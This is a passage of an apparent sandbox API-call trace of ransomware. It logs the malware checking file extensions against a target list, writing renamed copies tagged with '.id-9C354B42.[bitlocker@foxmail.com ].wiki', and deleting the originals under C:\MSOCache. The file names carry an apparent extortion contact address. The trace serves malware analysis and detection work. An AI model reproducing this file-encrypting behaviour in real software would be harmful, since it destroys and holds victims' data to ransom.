lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0044.790] ReadFile (in: hFile=0x170, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.790] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.790] SetEndOfFile (hFile=0x1a4) returned 1 [0044.790] CloseHandle (hObject=0x1a4) returned 1 [0044.791] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.791] SetEndOfFile (hFile=0x170) returned 1 [0044.791] CloseHandle (hObject=0x170) returned 1 [0044.792] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.792] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.792] lstrlenW (lpString=".doc") returned 4 [0044.792] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.792] lstrlenW (lpString=".docx") returned 5 [0044.792] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.792] lstrlenW (lpString=".pdf") returned 4 [0044.792] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.792] lstrlenW (lpString=".xls") returned 4 [0044.792] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.792] lstrlenW (lpString=".xlsx") returned 5 [0044.792] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.792] lstrlenW (lpString=".ppt") returned 4 [0044.792] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.792] lstrlenW (lpString=".zip") returned 4 [0044.793] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.793] lstrlenW (lpString=".rar") returned 4 [0044.793] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString=".bz2") returned 4 [0044.793] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString=".7z") returned 3 [0044.793] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.793] lstrlenW (lpString=".dbf") returned 4 [0044.793] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.793] lstrlenW (lpString=".1cd") returned 4 [0044.793] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.793] lstrlenW (lpString=".jpg") returned 4 [0044.793] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.793] lstrlenW (lpString=".doc") returned 4 [0044.793] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString=".docx") returned 5 [0044.793] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.793] lstrlenW (lpString=".pdf") returned 4 [0044.793] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString=".xls") returned 4 [0044.793] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString=".xlsx") returned 5 [0044.793] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.793] lstrlenW (lpString=".ppt") returned 4 [0044.793] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.793] lstrlenW (lpString=".zip") returned 4 [0044.793] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.793] lstrlenW (lpString=".rar") returned 4 [0044.793] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString=".bz2") returned 4 [0044.794] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString=".7z") returned 3 [0044.794] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.794] lstrlenW (lpString=".dbf") returned 4 [0044.794] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.794] lstrlenW (lpString=".1cd") returned 4 [0044.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.794] lstrlenW (lpString=".jpg") returned 4 [0044.794] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.794] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.794] lstrlenW (lpString="Office32MUI.xml") returned 15 [0044.794] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0044.795] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1383) returned 1 [0044.795] CloseHandle (hObject=0x170) returned 1 [0044.795] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0044.795] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0044.795] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.795] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.796] GetLastError () returned 0x0 [0044.796] ReadFile (in: hFile=0x170, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x567, lpOverlapped=0x0) returned 1 [0045.085] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x570, lpOverlapped=0x0) returned 1 [0045.086] ReadFile (in: hFile=0x170, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.086] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0045.086] SetEndOfFile (hFile=0x1a4) returned 1 [0045.086] CloseHandle (hObject=0x1a4) returned 1 [0045.087] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.087] SetEndOfFile (hFile=0x170) returned 1 [0045.088] CloseHandle (hObject=0x170) returned 1 [0045.088] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.088] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0045.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.088] lstrlenW (lpString=".doc") returned 4 [0045.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.088] lstrlenW (lpString=".docx") returned 5 [0045.088] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.088] lstrlenW (lpString=".pdf") returned 4 [0045.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.088] lstrlenW (lpString=".xls") returned 4 [0045.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.088] lstrlenW (lpString=".xlsx") returned 5 [0045.089] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.089] lstrlenW (lpString=".ppt") returned 4 [0045.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.089] lstrlenW (lpString=".zip") returned 4 [0045.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.089] lstrlenW (lpString=".rar") returned 4 [0045.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString=".bz2") returned 4 [0045.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString=".7z") returned 3 [0045.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.089] lstrlenW (lpString=".dbf") returned 4 [0045.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.089] lstrlenW (lpString=".1cd") returned 4 [0045.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.089] lstrlenW (lpString=".jpg") returned 4 [0045.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.089] lstrlenW (lpString=".doc") returned 4 [0045.089] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString=".docx") returned 5 [0045.089] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.089] lstrlenW (lpString=".pdf") returned 4 [0045.089] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString=".xls") returned 4 [0045.089] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.089] lstrlenW (lpString=".xlsx") returned 5 [0045.089] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.089] lstrlenW (lpString=".ppt") returned 4 [0045.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.090] lstrlenW (lpString=".zip") returned 4 [0045.090] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.090] lstrlenW (lpString=".rar") returned 4 [0045.090] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.090] lstrlenW (lpString=".bz2") returned 4 [0045.090] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.090] lstrlenW (lpString=".7z") returned 3 [0045.090] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.090] lstrlenW (lpString=".dbf") returned 4 [0045.090] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.090] lstrlenW (lpString=".1cd") returned 4 [0045.090] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.090] lstrlenW (lpString=".jpg") returned 4 [0045.090] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.090] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.090] lstrlenW (lpString="Setup.xml") returned 9 [0045.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.367] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1872) returned 1 [0045.367] CloseHandle (hObject=0x19c) returned 1 [0045.367] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.367] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.367] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.368] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.368] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0045.368] GetLastError () returned 0x0 [0045.368] ReadFile (in: hFile=0x19c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x750, lpOverlapped=0x0) returned 1 [0045.370] WriteFile (in: hFile=0x1b4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x760, lpOverlapped=0x0) returned 1 [0045.371] ReadFile (in: hFile=0x19c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.371] WriteFile (in: hFile=0x1b4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.371] SetEndOfFile (hFile=0x1b4) returned 1 [0045.371] CloseHandle (hObject=0x1b4) returned 1 [0045.372] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.372] SetEndOfFile (hFile=0x19c) returned 1 [0045.373] CloseHandle (hObject=0x19c) returned 1 [0045.373] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.373] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.373] lstrlenW (lpString=".doc") returned 4 [0045.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.374] lstrlenW (lpString=".docx") returned 5 [0045.374] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.374] lstrlenW (lpString=".pdf") returned 4 [0045.374] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.374] lstrlenW (lpString=".xls") returned 4 [0045.374] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.374] lstrlenW (lpString=".xlsx") returned 5 [0045.374] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.374] lstrlenW (lpString=".ppt") returned 4 [0045.374] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.374] lstrlenW (lpString=".zip") returned 4 [0045.374] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.374] lstrlenW (lpString=".rar") returned 4 [0045.374] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.374] lstrlenW (lpString=".bz2") returned 4 [0045.374] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.374] lstrlenW (lpString=".7z") returned 3 [0045.374] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.374] lstrlenW (lpString=".dbf") returned 4 [0045.374] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.374] lstrlenW (lpString=".1cd") returned 4 [0045.374] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.374] lstrlenW (lpString=".jpg") returned 4 [0045.376] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.377] lstrlenW (lpString=".doc") returned 4 [0045.377] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".docx") returned 5 [0045.377] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.377] lstrlenW (lpString=".pdf") returned 4 [0045.377] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".xls") returned 4 [0045.377] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".xlsx") returned 5 [0045.377] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.377] lstrlenW (lpString=".ppt") returned 4 [0045.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.377] lstrlenW (lpString=".zip") returned 4 [0045.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.377] lstrlenW (lpString=".rar") returned 4 [0045.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".bz2") returned 4 [0045.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".7z") returned 3 [0045.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.377] lstrlenW (lpString=".dbf") returned 4 [0045.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.377] lstrlenW (lpString=".1cd") returned 4 [0045.377] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.377] lstrlenW (lpString=".jpg") returned 4 [0045.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.378] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.378] lstrlenW (lpString="branding.xml") returned 12 [0045.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.378] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=596341) returned 1 [0045.378] CloseHandle (hObject=0x19c) returned 1 [0045.378] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0045.379] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.379] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.379] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.379] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.379] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0045.379] GetLastError () returned 0x0 [0045.379] ReadFile (in: hFile=0x19c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x91975, 